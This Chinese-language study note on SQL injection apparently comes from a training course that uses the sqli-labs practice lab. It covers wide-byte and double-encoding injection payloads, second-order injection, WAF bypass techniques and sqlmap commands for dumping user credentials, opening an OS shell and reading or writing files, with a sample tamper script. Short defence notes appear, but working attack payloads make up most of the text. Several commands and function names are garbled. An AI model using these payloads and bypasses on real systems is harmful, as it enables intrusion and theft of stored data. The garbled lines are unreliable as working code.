宽字节注入
什么是宽字节
GB2312、GBK、GB18030、 BIG5、 Shift_JIS等这些都是常说的宽字节,实际为两字节。
英文1字节,汉字2字节。
输入 ’
处理 \’
编码 %5C%27 \’
带入SQL Id=1\’ and
不能注入
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字
输入 %df’
处理 %df\’
编码 %df%5C%27 運’
带入SQL id=運’ and
可以注入
两个字符组合,认为是一一个汉字
注:前一个Ascii码大于128才能到汉字的范围
宽字节注入方法
方法:在注入点后键入%df ,然后按照正常的注入流程开始注入
Less-32
http://127.0.0.1/sqli-labs/Less 32/?id=%df’ union select 1,(select user()),3–+
黑盒测试:在可能的注入点后键入%df,之后进行注入测试
白盒测试:
1、查看MySq|编码是否为GBK
2、是否使用preg. replace把单引号替换成\’
3、是否使用addslashes进行转义
4、是否使用mysql_real_escape_string进行转义
避免宽字节注入
1、使用utf-8,避免宽子节注入;
ps:不仅在gbk,韩文、日文等等都是宽子节,都有可能存在宽字节注入漏洞。
2、mysql_real _escape_string, mysqL set_charset( ’ gbk’,$conn);
3、可以设置参数,character_set_ client=binary
二次编码注入
宽子节注入和二次编码注入:是在面对PHP代码或配置,对输入的’(单引号)进行转义的时候,在处理用户输入数据时存在问题,可以绕过转义。
宽子节注入:GBK编码处理编码的过程存在问题,可构造数据消灭\
二次编码注入:urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消灭\
二次编码注入方法
方法:在注入点后键入%2527 ,然后按照正常的注入流程开始注入
doublecode.php
Less-1/doublecode.php?id=%2527 union select 1.(select user()),3–+
黑盒测试:在可能的注入点后键入%2527,之后进行注入测试
白盒测试:
1、是否使用urldecode函数
2、urldecode函数是否在转义方法之后
二次注入原理,主要分为两步
第一步:插入恶意数据:第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据:在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就
会造成SQL的二次注入。
二次注入防御
对外部提交的数据,需要更加谨慎的对待。程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。
二次编码注入原理
用户输入 id=1%27
PHP自身编码 id=1’
转义 id=1\’
带入SQL id=1\’ and
不能注入
PHP代码中了urldecode(等编码函数放在了一-使用个尴尬的位置,与PHP自身编码配合失误
用户输入 id=1%25%27
PHP自身编码 id=1%27
转义 id=1%27
函数编码 id=1’
带入SQL id=1\’ and
可以法入!
绕过原理介绍
一架构层绕过WAF :
1.寻找源站——>针对云WAF
2.利用同网断——>绕过WAF防护区域
3.利用边界漏洞——>绕过WAF防护区域
二、资源限制角度绕过WAF:
1.POST大BODY
三.协议层面绕过WAF的检测:
1.协议未覆盖绕过WAF
请求方式变换:GET ——> POST
Content Type变换: application/x-www-form-urlencoded; > multipart/form-data;
2.参数污染
四、规则层面的绕过:
主要的绕过方式:
1.SQL注释符绕过
Level-1 : union/**/select
Level-2 : union/*aaaa%01bbs*/select
Level-3 : union/*aaaaaaaaaaaaaaaaaa*/select
内连注释: /*lxox*/
2.空白符绕过
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xx*/
正则的空白符: %09,%0A.,%0B,%0D,%20
Example-1: union%250Cselect
Example- 2: union%25A0select
3.函数分割符号
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
4.浮点数词法解析
select * from users where id=8EOunion select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3.,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
5.利用error-based进行SQL注入:Error-based SQL注入函数非常容易被忽略
extractvalue(1, concat(0x5c,md3));
updatexm(1, concat(0x5d,md3(3)),1);
GeometryCollection(seletfrom(selectfrom(select@@version)f)x)
polygon((select*from(select name. const(version0,1)x)
linestring()
multipoint()
multilinestring()
multipolygon()
6.MySQL特殊语法
select{x table_ name}from{x information, schema.tables};
Fuzz绕过
每一个点都能找到绕过的办法
以注释绕过为例子,开始Fuzz
注释符绕过
先测试最基本的: union/**/select
再测试中间引入特殊字: union/*aaaa%01bbs*/select
最后测试注释长度: unn/*aaaaaaaaaaaaaaaaaaaaaaaa*/selecte
最基本的模式:union/* something*/select
sqlmap介绍
使用Sq|Map进行注入测试
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1”
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1” --current-db
Python sqlmap.py -u “http://127.0.0.1/Less -1/7id=1” --current-user
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1” -D security --tables
Python sqlmap.py -u “http://127.0.0.1/Less- 1/?id=1” -D security -T users --columns
Python sqlmap.py -u “ttp://1270.0.1/Less -1/?id=1” -D security -T users -C username,password --dump
Python sqlmap.py -U “http://127.0.0.1/Less-1/?id=1” --os-shell
Python sqlmap.py -u “http://127.0.0.1/Less- 1/?id=1” --sql-shell
Python sqlmap.py -u “http://127.0.0.1/Less -1/?id=1” -file read
Python salmap.pv -u “http://127.0.0.1/Less-1/?id=1” --file-write 本地文件–file dest目标目录及文件
Tamper脚本编写
以base64encode.py为例:
#!/us/bin/env python
头部申明
‘’’
Copyright © 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file ‘doc/COPYING for copying permission
‘’’
注释说明
import base64
引入的可能所需的第三方库
from lib.core enums import PRIORITY
from lib.core.settings import UNICODE ENCODING
SqlMap内部调用,基本不变
_priority_ = PRIORITY.LOWEST
def tamper(payload, **kwargs):
‘’’
Base64 all characters in a given payload
>>> tamper(“1’ AND SLEEP(5)#”) "MScgQUSEIFNMRUVQKDUplw==’
‘’’
return base64.b64encode(payload encode(UNICODE ENCODING)) if payload else payload
改变payload的代码
SQLMap的conf
常用的默认值列举:
# Seconds to wait before timeout connection.
# Valid: float
# Default: 30
timeout = 30
# Maximum number of retries when the HTTP connection timeouts.
# Valid: integer
# Default: 3
retries = 3
# Default: 1
level = 1
# Default: 1
risk= 1
[Techniques]
tech = BEUSTQ
# Seconds to delay the response from the DBMS.
# Valid: integer
# Default; 5
timeSec = 5
# Default: 1
verbose = 1
sqlmap工作流程
1、经常使用-hh
2、-V (0-6)
0: Show only Python tracebacks, error and critical messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses’ headers.
6: Show also HTTP responses’ page content.
3、–batch: 自动回答确认默认为大写的选项,如( [Y/n] Y )
–answers= ANSWERS Set question answers (e.g. “quit=N,follow=N”)
4、–proxy: 设置代理
还有很多协议的认证访问设置,均在Request里,可自行学习。
-t可以将注入过程导出成文件
5、–flush-session 刷新session数据库 ,刷新检测、payload结果。
–purge-output删除所有保存的数据文件夹。
–fresh-queries刷新数据获取结果。
*的误区
需要用到星号的时候:
1、url中的值 , sqImap默认不注入,需要*号指定
2、json格式 , sqImap会变傻,需要*号进行
3、在默认level(1) 时,可以使用*对特定的请求头做注入
sqlmap-v0 -u http://127.0.0.1/Less-1/?id=*1 --proxy=http://127 .0.0.1:8080 --flush-session --batch --technique=B
sqlmap-v0 -u http://127.0.0.1/Less-1/?id=1* --proxy=http://127 .0.0.1:8080 --flush-session --batch --technique=B
payload = where + boundary.prefix+test.payload+boundary.suffx